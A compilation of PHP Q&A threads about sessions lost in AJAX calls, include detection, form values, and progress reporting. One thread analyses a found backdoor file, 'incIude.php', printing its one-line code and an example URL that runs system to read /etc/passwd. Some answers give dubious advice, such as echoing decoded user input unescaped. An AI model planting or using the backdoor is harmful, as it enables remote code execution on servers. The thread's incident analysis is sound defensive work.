Javascript AJAX call shows empty $_SESSION in PHP program - php

I am using AJAX to store the first 4 digits of a credit card in $_SESSION["first4"] number during the onBlur event. I have a sample which works flawlessly. Then I take that good code and stick it a shopping cart we purchased from Clearcart (we now own the code). The issue is that the $_SESSION variable is always empty in the AJAX php receiver program. Here is the entirety of the program:
$sessionName = "ClearCart20UserSession";
if (isset($_REQUEST[$sessionName])) session_id($_REQUEST[$sessionName]);
$started = session_start();
$_SESSION["first4"] = isset($_GET["first4"])?$_GET["first4"]:"";
After that fourth line of code the following variables are dumped: (i.e. these are output values not assignment statements)
$started = 1
session_id=4f920c1fe5e2078d95f7700ece674659
$_REQUEST=Array
(
[first4] => 5554
[PHPSESSID] => 4f920c1fe5e2078d95f7700ece674659
[ClearCart20UserSession] => 4f920c1fe5e2078d95f7700ece674659
)
$_SESSION=Array
(
[first4] => 5554
)
$_SESSION in the calling program literally contains thousand of variables. Yet, here in the receiver it is empty except for the variable I set.
Notes:
1) That is the same session_id/PHPSESSID as in the calling program - I have dumped it. (When I say calling program I mean the php program which generated the html form; obviously the actual 'calling' program is the javascript in the browser)
2) The http type and domain are identical (both are https:). I have put the receiver ajax program in the same directory as the caller just to eliminate any cross-domain issues.
3) The session save path is /tmp and when I look in that folder the sess_4f920c1fe5e2078d95f7700ece674659 file exists. (Although it seems smaller than I would expect with thousands of variables).
4) When I go back a page in my browser and then forward to re-show formerly saved session variables (i.e. things like form input values) they still exist so the AJAX recipient is not clearing $_SESSION as the empty array might imply.
5) The shopping cart uses cookies and the cookie values are correctly reflected in $_REQUEST as expected.
6) I added session_write_close() to the end of the main/caller program to ensure the session file is not open. Should not matter as the caller php terminates and nothing happens till the javascript event fires AJAX.
7) FWIW session.upload_progress.enabled is on.
8) Curiously the shopping cart uses AJAX for its own purposes which I believe is working fine. Regardless, I don't see how that could impact me - its completely different AJAX called and received by different javascript and php respectively.
9) As mentioned above, this virtually identical code works in a test sample I developed where I even mimic using cookies.
10) I have read several dozen postings on this issue but none have fixed my problem. Most seem to be related to not using session_start or having the right session_id.
What else can I try?

Found the problem: the shopping cart software changed the session folder with this line of code:
session_save_path("tmpsession");
Hence, even though the session_id's were identical the session files were stored in two different folder locations (the AJAX file was in /tmp and the main calling program was using www/tmpsession).

Related

How to determine if this script was included into some other script

Some time ago, I developed a PHP script to send text messages, log sms usage, and so on. This is working fine.
Now I have modified it so that it may be included within another script via "include" or "require." Again it is working fine but I would like to make it operate slightly differently if "included" versus the command-line call. For example, if it's called from command line, then the parameters are in $argv, but if included in some function, we can assume certain necessary variables have already been set up, SQL connections are established, etc.
The point where I'm stuck, is trying to determine if this code is "include"d or is the main file. I know I can use get_included_files() to retrieve the necessary list. But at present (assuming my script is /path/myscript) the only test I know to use is something like:
$includes = get_included_files() ;
$isMainScript = ($includes[0] == '/path/myscript') ;
And therefore $isMainScript will be true if this was called from the command line. But clearly this is bad form; all one has to do to break it, is to rename the included script, or move it to some other directory. But I don't see any method of finding out the name of this file (/path/myscript) ... only the name of the main file (__FILE__ and its workalikes).
What do others do in order to determine if this script is a main script, or is subordinate to some other?

incIude.php, spelled with a capital "i" in the "l" position

I received a message from Siteground today with the subject "Vulnerable software detected on your account". (I love me some Siteground; no problem with their detection.)
When I investigate the files they found, there is a PHP file that exists in a few of my add on domains. It is incIude.php with a capital "i" in the "l" position. Even on this site, it looks the same as when properly spelled, because of the font. Obviously fishy. But curiously, the file is dated back in 2013. Any search I attempt comes back with links to typo-corrected files. It's the typo that is critical.
Anyway, here is the code in that file:
<?php #array_diff_ukey(#array((string)$_REQUEST['password']=>1),#array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); ?>
Obviously, I'm at work cleaning this up. I'm just curious as to whether any of your subscribers can tell me more about this particular exploit.
It seems this is a simple backdoor script for RCE (Remote Code Execution). Re-formatting the script:
#array_diff_ukey(
#array(
(string)$_REQUEST['password'] => 1
),
#array(
(string)stripslashes($_REQUEST['re_password']) => 2
),
$_REQUEST['login']
);
Everything is prefixed with # to make sure no errors, exceptions, or warnings are issued. This would give away the backdoor script.
The important vulnerability here is that the last argument of array_diff_ukey is a callback function. Per usual in PHP this can be an anonymous function, function variable, or a string.
So the attack is:
include the script somewhere, somehow (innocent git commit? small change by an insider? temporary write access to the codebase?); in particular a login / registration endpoint that would include login and register in the form fields, but anywhere works (since the request can still include login and register parameters)
send a request like ?login=system&password=ls
the function specified as login gets called with keys from either array, i.e. from password and re_password; in the example the function would be system("ls", NULL)
profit! (RCE)
The stealthiness comes from:
an innocent looking filename, normally indistinguishable from "include"
no errors thrown
executed on login attempts which might be part of regular requests and not logged properly
It calls an arbitrary function named with the login query parameter that accepts up to two parameters, with the first parameter being the value of the password field, and the second parameter being the value of the re_password field. For instance:
http://yoursite.com/incIude.php?login=system&password=cat%20%2fetc%2fpasswd
will print the contents of /etc/passwd.

PHP destoys a variable if its value starts with < symbol

This is the most weird PHP issue I ever had. Several minutes ago I noticed that my script stopped working properly. To keep it short, after debugging I found that if any variable in POST form has < symbol at the start, PHP doesn't process it anymore. This is super-strange because my code worked for years. Now, this issue happens not only on localhost, but also on 2 different servers (just installed the script there to test). So the issue can't be related to PHP config in any way.
This is the actual code I use to get all variables submitted via POST form:
if (isset($_POST)) {$form_array=$_POST;} //super variable with all form variables
Then I "extract" array values to create actual variables with correct values. But it just stopped working now. I added extra line of code to debug submitted variables:
print_r($form_array);
If I enter something into form and submit it, result is:
Array ( [var1] => something [submit_ok] =>)
However, if I enter <something, the result is:
Array ( [submit_ok] => )
The variable doesn't even exist! If I enter something<, it starts working again. However, If I enter something<here, it doesn't work again. Put simply, if any value in form contains < symbol followed by any letter, variable doesn't even exist. What the hell?
P.S. Adding HTML code of the form (this is COMPLETE code):
<form action="test.php" method="post">
<input type="text" name="var1">
<input type="submit" name="submit_ok" value="do">
</form>
I, assuming you're testing this in a browser, think it's just the browser interpreting the < symbol as the beginning of a HTML tag and then trying to render it, which fails, because it doesn't know what to do with the <something> tag.
If this is what you're seeing in the browser:
But after pressing CTRL+U (in Chrome) you're seeing:
Then it's just a rendering "problem" and my calculations were correct.
Consider adding this in your PHP files, as it tells the browser not to treat the output as HTML but rather as plain text:
<?php
// This must be called before _any_ other output is sent to the client.
header('Content-type: text/plain');
I have no logical explanation, but once I rebooted all the devices (router, server, computer) everything came back to the normal state. I noticed that after computer reboot, Firefox was updated (so maybe that update caused the issue somehow, no idea).
Anyways, everything is working normally again without modifying a single line of code.
The less than gets URL encoded as "%3C" so printing it won't work since browsers see it as a broken HTML tag, but if you...
$var1=urldecode ($_POST['var1']);
Before using $var1 in a database query, it should work. To actually print it, you could do
echo html_entity_decode(urldecode($var1));

Page updates while processing

I have a PHP script that can take a few minutes to be done. It's some search engine which executes a bunch of regex commands and retrieve the results to the user.
I start by displaying a "loading page" which does an AJAX call to the big processing method in my controller (let's call it 'P'). This method then returns a partial view and I just replace my "loading page" content with that partial view. It works fine.
Now what I would like to do is give the user some information about the process (and later on, some control over it), like how many results the script has already found. To achieve that, I do another AJAX call every 5 seconds which is supposed to retrieve the current number of results and display it in a simple html element. This call uses a method 'R' in the same controller as method 'P'.
Now the problem I have is that I'm not able to retrieve the correct current number of results. I tried 2 things :
Session variable ('file' driver) : in 'P' I first set a session variable 'v' to 0 and then update 'v' every time a new result is found. 'R' simply returns response()->json(session('v'))
Controller variable : same principle as above but I use a variable declared at the top of my controller.
The AJAX call to 'P' works in both cases, but everytime and in both cases it returns 0. If I send back 'v' at the end of the 'P' script, it has the correct value.
So to me it looks like 'R' can't access the actual current value of 'v', it only access some 'cached' version of it.
Does anyone have an idea about how I'm going to be able to achieve what I'd like to do? Is there another "cleaner" approach and/or what is wrong with mine?
Thank you, have a nice day!
__
Some pseudo-code to hopefully make it a bit more precise.
SearchController.php
function P() {
$i = 0;
session(['count' => $i]); // set session variable
$results = sqlQuery(); // get rows from DB
foreach ($results as $result) {
if (regexFunction($result))
$i++
session(['count' => $i]); // update session variable
}
return response()->json('a bunch of stuff');
}
function R() {
return response()->json(session('count')); // always returns 0
}
I would recommend a different approach here.
Read a bit more about flushing content here http://php.net/manual/en/ref.outcontrol.php and then use it.
Long story short in order to display the numbers of row processed with flushing you could just make a loop result and flush from time to time or at an exact number or rows, the need for the 5 seconds AJAX is gone. Small untested example :
$cnt = 0;
foreach($result as $key => $val) {
//do your processing here
if ($cnt % 100 == 0) {
//here echo smth for flushing, you can echo some javascript, tough not nice
echo "<script>showProcess({$cnt});</script>";
ob_flush();
}
}
// now render the proccessed full result
And in the showProcess javascript function make what you want... some jquery replace in a text or some graphical stuff...
Hopefully u are not using fast_cgi, beacause in order to activate output buffering you need to disable some important features.
I believe you have hit a wall with PHP limitations. PHP doesn't multithread, well. To achieve the level of interaction you are probably required to edit the session files directly, the path of which can be found in your session.save_path global through php_info(), and you can edit this path with session_save_path(String). Though this isn't recommended usage, do so at your own risk.
Alternatively use a JSON TXT file stored somewhere on your computer/server, identifying them in a similar manner to the session files.
You should store the current progress of the query to a file and also if the transaction has been interrupted by the user. a check should be performed on the status of the interrupt bit/boolean before continuing to iterate over the result set.
The issue arises when you consider concurrency, what if the boolean is edited just slightly before, or at the same time, as the count array? Perhaps you just keep updating the file with interrupts until the other script gets the message. This however is not an elegant solution.
Nor does this solution allow for concurrent queries being run by the same user. to counter this an additional check should be performed on the session file to determine if something is already running. An error should be flagged to notify the user.
Given the option, I would personally, rewrite the code in either JSP or ASP.NET
All in all this is a lot of work for an unreliable feature.

Why is my PHP $_SESSION cleared when doing an AJAX Post?

I'm trying to get some values from my $_SESSION variable but it seems to be cleared everytime an AJAX request is initiated.
I have pasted the code below, any help much appreciated :
/*
* The input request from angularjs
*/
$data = file_get_contents("php://input");
$data = json_decode($data, true);
switch( strtolower($data['action']) ) {
case 'products': getAllProducts($data['fields']);
break;
default : echo json_encode(array('success' => false));
}
//fb is a firebug debug function, prints PHP vars to console.
fb($_SESSION['var'); //when loading the php file the first time $_SESSION is set
UPDATE
I'm using AngularJS for my AJAX calls, it works great but now I want to read data from my $_SESSION variable and all I get is an empty $_SESSION. Does this have anything to do with my file_get_contents("php://input");
SOLVED
I found the problem, the previous developer did not take into account that one might desire to include files from 2 levels deep :) As such, I scanned through the PHP error logs and saw that a previous script was not loading - this particular script was included with the session_start and $_SESSION variable values.
Checking the error logs will be my first priority from now on
I found the problem, the previous developer did not take into account that one might desire to include files from 2 levels deep :) As such, I scanned through the PHP error logs and saw that a previous script was not loading - this particular script was included with the session_start and $_SESSION variable values. Checking the error logs will be my first priority from now on

Categories